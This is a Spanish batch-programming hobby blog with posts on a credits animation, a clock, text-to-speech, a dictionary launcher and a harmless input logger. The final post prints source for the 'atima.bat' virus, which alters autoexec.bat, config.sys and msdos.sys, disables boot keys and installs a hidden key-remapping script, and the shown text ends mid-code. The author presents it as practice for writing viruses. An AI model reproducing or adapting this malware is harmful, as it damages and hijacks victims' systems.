jueves, 9 de septiembre de 2010

Creditos en Batch

He aqui un extenso codigo que sirven como si fuesen creditos, lo pueden editar a su antojo.

echo off
title Creditos en batch
mode con cols=71 lines=28 &color 1A
set LINEA=0
set LINEA_TEXTO_1=No te asuste por este codigo
set LINEA_TEXTO_2=Si quieres puedes editarlo a tu manera
set LINEA_TEXTO_3=Aqui aceptamos toda clase de comentarios
set LINEA_TEXTO_4=No te preocupes el conocimiento es eterno
set LINEA_TEXTO_5=Grasias señor
set LINEA_TEXTO_6=En verdad bill gates no me cae muy bien
set LINEA_TEXTO_7=comparte tus conocimientos
set LINEA_TEXTO_8=sonriele a la vida
set LINEA_TEXTO_9=No al aborto
set LINEA_TEXTO_10=thank you for loving me by bon jovi
set LINEA_TEXTO_11=El conocimiento debe ser gratis
set LINEA_TEXTO_12=No es que soy filantropo o algo asi
set LINEA_TEXTO_13=Te amo abigail
set LINEA_TEXTO_14=conocimiento gratis para todos!!!!
set LINEA_TEXTO_15=todosobreprogramacionbatch.blogspot.com

:: ----------------------------------------------------------------------------------------------------------------------

:INICIO
set /a LINEA = LINEA + 1

cls
echo.
echo.
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
echo. Codificado para Batch
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
if %LINEA%==1 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==2 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
call :PING
)
if %LINEA%==3 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
call :PING
)
if %LINEA%==4 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
call :PING
)
if %LINEA%==5 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
call :PING
)
if %LINEA%==6 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
call :PING
)
if %LINEA%==7 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
call :PING
)
if %LINEA%==8 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
call :PING
)
if %LINEA%==9 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
call :PING
)
if %LINEA%==10 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
call :PING
)
if %LINEA%==11 (
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
call :PING
)
if %LINEA%==12 (
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
call :PING
)
if %LINEA%==13 (
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
call :PING
)
if %LINEA%==14 (
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
call :PING
)
if %LINEA%==15 (
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
call :PING
)
if %LINEA%==16 (
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
call :PING
)
if %LINEA%==17 (
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
call :PING
)
if %LINEA%==18 (
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
call :PING
)
if %LINEA%==19 (
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
call :PING
)
if %LINEA%==20 (
echo.
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
call :PING
)
if %LINEA%==21 (
echo %LINEA_TEXTO_3%
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
call :PING
)
if %LINEA%==22 (
echo.
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
call :PING
)
if %LINEA%==23 (
echo %LINEA_TEXTO_4%
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
call :PING
)
if %LINEA%==24 (
echo.
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
call :PING
)
if %LINEA%==25 (
echo %LINEA_TEXTO_5%
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
call :PING
)
if %LINEA%==26 (
echo.
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
call :PING
)
if %LINEA%==27 (
echo %LINEA_TEXTO_6%
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
call :PING
)
if %LINEA%==28 (
echo.
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
call :PING
)
if %LINEA%==29 (
echo %LINEA_TEXTO_7%
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
call :PING
)
if %LINEA%==30 (
echo.
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
call :PING
)
if %LINEA%==31 (
echo %LINEA_TEXTO_8%
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
call :PING
)
if %LINEA%==32 (
echo.
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
call :PING
)
if %LINEA%==33 (
echo %LINEA_TEXTO_9%
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
call :PING
)
if %LINEA%==34 (
echo.
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
call :PING
)
if %LINEA%==35 (
echo %LINEA_TEXTO_10%
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
call :PING
)
if %LINEA%==36 (
echo.
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==37 (
echo %LINEA_TEXTO_11%
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==38 (
echo.
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==39 (
echo %LINEA_TEXTO_12%
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==40 (
echo.
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==41 (
echo %LINEA_TEXTO_13%
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==42 (
echo.
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==43 (
echo %LINEA_TEXTO_14%
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==44 (
echo.
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==45 (
echo.
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==46 (
echo.
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==47 (
echo %LINEA_TEXTO_15%
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==48 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)

:PING
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
echo. El mundo de la programacion Batch
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ


@ping localhost -n 2 >nul
if %LINEA%==48 goto :menu
goto :INICIO

:menu
cls
echo.
echo.
echo.
echo Dios provee de conocimientos al necesitado!!!
echo.
pause>nul
Publicado por en 0 comentarios

Reloj analogo en Batch

Este es un reloj bien chulo,para los que piensan que es imposible en batch:


@echo off
mode 78,21
SET X=ø
SET X2=Û

FOR /L %%W IN (11,1,21) DO set "S%%W= "
FOR /L %%W IN (11,1,21) DO set "M%%W= "
FOR /L %%W IN (11,1,21) DO set "H%%W= "
call :0 M
call :0 S
call :0 H
:ini1
set H=%time:~0,2%
if %H% Lss 10 set H=%time:~1,1%
set M=%time:~3,2%
if %M% Lss 10 set M=%time:~4,1%
set S=%time:~6,2%
if %S% Lss 10 set S=%time:~7,1%
call:tim
cls
TITLE................:::: %H% HORAS ::::.................................:::: %M% MINUTOS ::::................................:::: %S% SEGUNDOS ::::.....................
echo.
echo. HORA MINUTOS SEGUNDOS
echo.
echo. %X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2% :: %X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2% :: %X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%
echo %X2% 10 12 2 %X2% :: %X2% 10 12 2 %X2% :: %X2% 10 12 2 %X2%
echo. %X2% %H11% %X2% :: %X2% %M11% %X2% :: %X2% %S11% %X2%
echo. %X2% %H12% %X2% :: %X2% %M12% %X2% :: %X2% %S12% %X2%
echo. %X2% %H13% %X2% :: %X2% %M13% %X2% :: %X2% %S13% %X2%
echo. %X2% %H14% %X2% :: %X2% %M14% %X2% :: %X2% %S14% %X2%
echo. %X2% %H15% %X2% :: %X2% %M15% %X2% :: %X2% %S15% %X2%
echo. %X2%9 %H16% 3%X2% :: %X2% %M16% %X2% :: %X2% %S16% %X2%
echo. %X2% %H17% %X2% :: %X2% %M17% %X2% :: %X2% %S17% %X2%
echo. %X2% %H18% %X2% :: %X2% %M18% %X2% :: %X2% %S18% %X2%
echo. %X2% %H19% %X2% :: %X2% %M19% %X2% :: %X2% %S19% %X2%
echo. %X2% %H20% %X2% :: %X2% %M20% %X2% :: %X2% %S20% %X2%
echo. %X2% %H21% %X2% :: %X2% %M21% %X2% :: %X2% %S21% %X2%
echo %X2% 8 6 4 %X2% :: %X2% 8 6 4 %X2% :: %X2% 8 6 4 %X2%
echo. %X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2% :: %X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2% :: %X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%%X2%
ECHO.
echo.
goto:ini1
:tim
ping -n 1 localhost>nul
FOR /L %%W IN (0,5,55) DO if %S%==%%W (call :%%W S)
FOR /L %%W IN (0,5,55) DO if %M%==%%W (call :%%W M)
if %H%==1 (call :5 H )
if %H%==2 (call :10 H )
if %H%==3 (call :15 H )
if %H%==4 (call :20 H )
if %H%==5 (call :25 H )
if %H%==6 (call :30 H )
if %H%==7 (call :35 H )
if %H%==8 (call :40 H )
if %H%==9 (call :45 H )
if %H%==10 (call :50 H )
if %H%==11 (call :55 H )
if %H%==12 (call :0 H )
if %H%==13 (call :5 H )
if %H%==14 (call :10 H )
if %H%==15 (call :15 H )
if %H%==16 (call :20 H )
if %H%==17 (call :25 H )
if %H%==18 (call :30 H )
if %H%==19 (call :35 H )
if %H%==20 (call :40 H )
if %H%==21 (call :45 H )
if %H%==22 (call :50 H )
if %H%==23 (call :55 H )
if %H%==0 (call :0 H )
goto:eof


:0
set "%111= %X% "
set "%112= %X% "
set "%113= %X% "
set "%114= %X% "
set "%115= %X% "
set "%116= © "
set "%117= "
set "%118= "
set "%119= "
set "%120= "
set "%121= "
goto:eof
:5
set "%111= "
set "%112= %X% "
set "%113= "
set "%114= %X% "
set "%115= "
set "%116= © "
set "%117= "
set "%118= "
set "%119= "
set "%120= "
set "%121= "
goto:eof
:10
set "%111= %X%"
set "%112= %X% "
set "%113= %X% "
set "%114= %X% "
set "%115= %X% "
set "%116= © "
set "%117= "
set "%118= "
set "%119= "
set "%120= "
set "%121= "
goto:eof
:15
set "%111= "
set "%112= "
set "%113= "
set "%114= "
set "%115= "
set "%116= ©%X%%X%%X%%X% "
set "%117= "
set "%118= "
set "%119= "
set "%120= "
set "%121= "
goto:eof
:20
set "%111= "
set "%112= "
set "%113= "
set "%114= "
set "%115= "
set "%116= © "
set "%117= %X% "
set "%118= %X% "
set "%119= %X% "
set "%120= %X% "
set "%121= %X%"
goto:eof
:25
set "%111= "
set "%112= "
set "%113= "
set "%114= "
set "%115= "
set "%116= © "
set "%117= "
set "%118= %X% "
set "%119= "
set "%120= %X% "
set "%121= "
goto:eof
:30
set "%111= "
set "%112= "
set "%113= "
set "%114= "
set "%115= "
set "%116= © "
set "%117= %X% "
set "%118= %X% "
set "%119= %X% "
set "%120= %X% "
set "%121= %X% "
goto:eof
:35
set "%111= "
set "%112= "
set "%113= "
set "%114= "
set "%115= "
set "%116= © "
set "%117= "
set "%118= %X% "
set "%119= "
set "%120= %X% "
set "%121= "
goto:eof
:40
set "%111= "
set "%112= "
set "%113= "
set "%114= "
set "%115= "
set "%116= © "
set "%117= %X% "
set "%118= %X% "
set "%119= %X% "
set "%120= %X% "
set "%121=%X% "
goto:eof
:45
set "%111= "
set "%112= "
set "%113= "
set "%114= "
set "%115= "
set "%116= %X%%X%%X%%X%© "
set "%117= "
set "%118= "
set "%119= "
set "%120= "
set "%121= "
goto:eof
:50
set "%111=%X% "
set "%112= %X% "
set "%113= %X% "
set "%114= %X% "
set "%115= %X% "
set "%116= © "
set "%117= "
set "%118= "
set "%119= "
set "%120= "
set "%121= "
goto:eof
:55
set "%111= "
set "%112= %X% "
set "%113= "
set "%114= %X% "
set "%115= "
set "%116= © "
set "%117= "
set "%118= "
set "%119= "
set "%120= "
set "%121= "
goto:eof

goto:eof

Y lo guardan con el nombren que ustedes quieran,seguido de la extensión .bat
Publicado por en 0 comentarios

Comando de voz con vbs + batch

Hola que tal queridos lectores.Analizando el penúltimo tema en que tratamos el lenguaje de programación vbs, me quede con la inquietud de que si se podía hacer un programa en batch el cual emplee comando de voz como en vbs. Al tener esta inquietud empece a navegar en la web y encontré algo parecido a mi pregunta y esto fue lo que encontré:

@echo off
:inicio
set /p texto= Escribe lo que quieres escuchar:
echo dim mouth> "bocinas.vbs
echo set mouth= createobject ("sapi.spvoice")>>bocinas.vbs
echo mouth.speak "%texto%">>"bocinas.vbs"
wscript.exe bocinas.vbs
pause>nul
goto inicio

Tengan en cuenta que el programa les crea un script llamado bocinas el cual edita el contenido de las palabras que escribimos y que queremos escuchar.

Eso era todo espero que les sirvan de ayuda.

Publicado por en 0 comentarios

martes, 7 de septiembre de 2010

Hola que tal!!! hacen unos cuantos años estaba leyendo unos tutoriales sobre programación batch, en esto tutoriales me decían que nos es muy bueno centrarse solo en un solo lenguaje de programación, aparte de esto me decían que me involucrara en otros lenguajes muy buenos como C++, VB,Fortran(aunque un poco caducado) etc,etc. yo me he llevado de estos consejos y ahora estoy aprendiendo VB 6. y también VB script. Como todo principiante empece a buscar trucos y ahora les voy a mostrar uno que vi es en el lenguaje vb script: se trata de unas ordenes en la cual le decimos a la computadora que lea lo que escribimos. Existen muchos programas muy buenos para esto. Pero una ayudita no esta demas, aqui empezamos:

1) Abrimos el bloc de notas y escribimos lo siguiente:
CreateObject ("SAPI.SpVoice"). Speak "I love you"

2) Lo guardan como love.vbs o como ustedes quieran pero con la extensión .vbs.

y ya eso es todo!!!. ahora la explicacion:
Donde dice I love you lo pueden modificar por cualquier texto que les parezca. cabe destacar que el sistema esta en ingles y asi lo va a pronunciar,yo pienso que es un truco muy bueno,ya que si estudiamos ingles, esto nos puede servir de mucha ayuda. Gracias!!!!!!!!!!
Publicado por en 0 comentarios

viernes, 3 de septiembre de 2010

Traductor Ingles-Español en Batch

En este tutorial voy a mostrarle el codigo de un traductor español-ingles o ingles-español como ustedes quieran.El crédito va para el blog de muhammadchandra.blogspot.com, esta pagina es en indonesio.Lo que hace el código es mandarnos para un traductor, lo pueden editar para el traductor que ustedes quieran. El original es para el traductor de google ,pero este dura mucho en cargarse. Así que lo pueden editar.


@echo off
title [[--++--^>Online Diccionario^<--++--]]
color f0
mode 60,10
:Online
echo ___________________ÛÛßßßßßßßßßßßßßßßßßßÛÛ__________________
echo ___________________Û Online Diccionario Û__________________
echo ___________________ÛÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛÛ__________________
echo ---------------^>Todosobreprogramacionbatch.blogspot.com^<--------------
echo.
echo [1].Español -----^> English
echo [2].English -----^> Español
echo.
set /p Seleccionar= --^>
if not defined Seleccionar goto Online
cls
if %Seleccionar%==1 goto uno
if %Seleccionar%==2 goto Dos
goto Online

:uno
echo Español ----^> English
echo.
set /p a= --^>
cls
start "title" http://www.online-diccionario.com/
goto Online
goto Permanecer

:dos
echo English ----^> Español
echo.
set /p b= --^>
cls
start "title" http://www.online-diccionario.com/
goto Online
goto dos

y ya terminamos, en caso de que lo vallan a editar acuérdense de agradecerle al blog de muhammadchandra.blogspot.com.
Publicado por en 1 comentarios

keylogger en Batch

hola que tal? Ahora voy a mostrarle unas cuantas lineas de código de un programa que funciona como si fuera un keylogger, pero para que funcione deben de ejecutarlo en una ventana de cmd,
mejor dicho no es en si un keylogger sino que con las instrucciones que le damos, el programa hace un re-direccionamiento a la unidad que queramos que aparezca lo que escribimos. Aquí esta el código, espero que lo disfruten.

@echo off
:menu
set /p key=
echo %key%>>C:\Poll.txt
echo %key%>>D:\Poll.txt
echo %key%>>E:\Poll.txt
echo %key%>>F:\Poll.txt
goto menu

Eso es todo, en la ordenes echo %key%>>C:\Poll.txt, pueden agregar mas unidades,depende de ustedes y acuérdense de ponerlas una debajo de la otra. Por ultimo donde dice poll.txt póngale el nombre que quieran seguido de la extensión .txt.

¡Hasta la próxima!
Publicado por en 1 comentarios

miércoles, 1 de septiembre de 2010

Virus atima.bat o keyhack

hola programadores aquí estoy de nuevo.No me culpen por haberme desviado del estudio de batch,lo que pasa es que he encontrado unos cuantos códigos de virus en batch y aunque estén descontinuados nos sirven de mucha ayuda aprender su comportamiento para que en futuro si queremos programar virus de esta calidad nos resulte mucho mas fácil.ahora les voy a presentar el virus atima.bat o keyhack como lo conocen muchos.Al ver el código de este virus nos daremos cuentas de las características que tiene.Espero que lo disfruten.

@echo off
cls
goto :start
:message
echo.
echo.
cls
echo //LOG ON HACK IN GO ANYWHERE STEAL EVERYTHING//
echo.
echo WELCOME TO THE WORLD OF HACKING & SECURITY BREACHING
echo.
echo WHENEVER U SWITCH ON UR SYSTEM UR SYSTEM IS UNSAFE
echo.
echo HACKER CAN DO THINGS WHAT OTHERS JUST DREAM OFF
echo.
echo WELCOME TO THE GAME OF DEATH
echo.
echo TRY TO PROTECT UR SYSTEM IF U CAN
echo.
pause
cls
echo DONT THINK TH@ U R SMART
echo.
echo THE PROBLEM IS THAT I KNOW
for %%a in (2 M U C H) do choice /c:%%a /n /s /t:%%a,01
echo.
echo.
pause
goto :end
:start
if not exist c:\autoexec.bat goto :creaauto
attrib -r -h c:\autoexec.bat
echo cls >> c:\autoexec.bat
echo path=c:\windows;c:;c:\windows\command;c:\windows\system;c:\windows\help >> c:\autoexec.bat
echo command /p /k c:\windows\help\atima.bat >> c:\autoexec.bat
attrib +r +h c:\autoexec.bat
goto :config
:creaauto
echo > c:\autoexec.bat
echo @echo off >> c:\autoexec.bat
echo cls >> c:\autoexec.bat
echo path=c:\windows;c:;c:\windows\command;c:\windows\system;c:\windows\help >> c:\autoexec.bat
echo command /p /k c:\windows\help\atima.bat >> c:\autoexec.bat
attrib +r +h c:\autoexec.bat
:config
attrib -r -h c:\config.sys
echo device=c:\windows\command\ansi.sys >> c:\config.sys
attrib +r +h c:\config.sys
:msdos
attrib -r -h c:\msdos.sys
echo bootdelay=0. >> c:\msdos.sys
echo bootkeys=0. >> c:\msdos.sys
attrib +r +h c:\msdos.sys
:atima
echo > c:\windows\help\atima.bat
echo @echo off >>c:\windows\help\atima.bat
echo prompt $p $g >> c:\windows\help\atima.bat
echo echo [0;59;" "p >> c:\windows\help\atima.bat
echo echo [0;60;" "p >> c:\windows\help\atima.bat
echo echo [0;61;" "p >> c:\windows\help\atima.bat
echo echo [0;62;" "p >> c:\windows\help\atima.bat
echo echo [0;63;" "p >> c:\windows\help\atima.bat
echo echo [0;64;" "p >> c:\windows\help\atima.bat
echo echo [0;65;" "p >> c:\windows\help\atima.bat
echo echo [0;66;" "p >> c:\windows\help\atima.bat
echo echo [0;67;" "p >> c:\windows\help\atima.bat
echo echo [0;68;" "p >> c:\windows\help\atima.bat
echo echo [0;133;" "p >> c:\windows\help\atima.bat
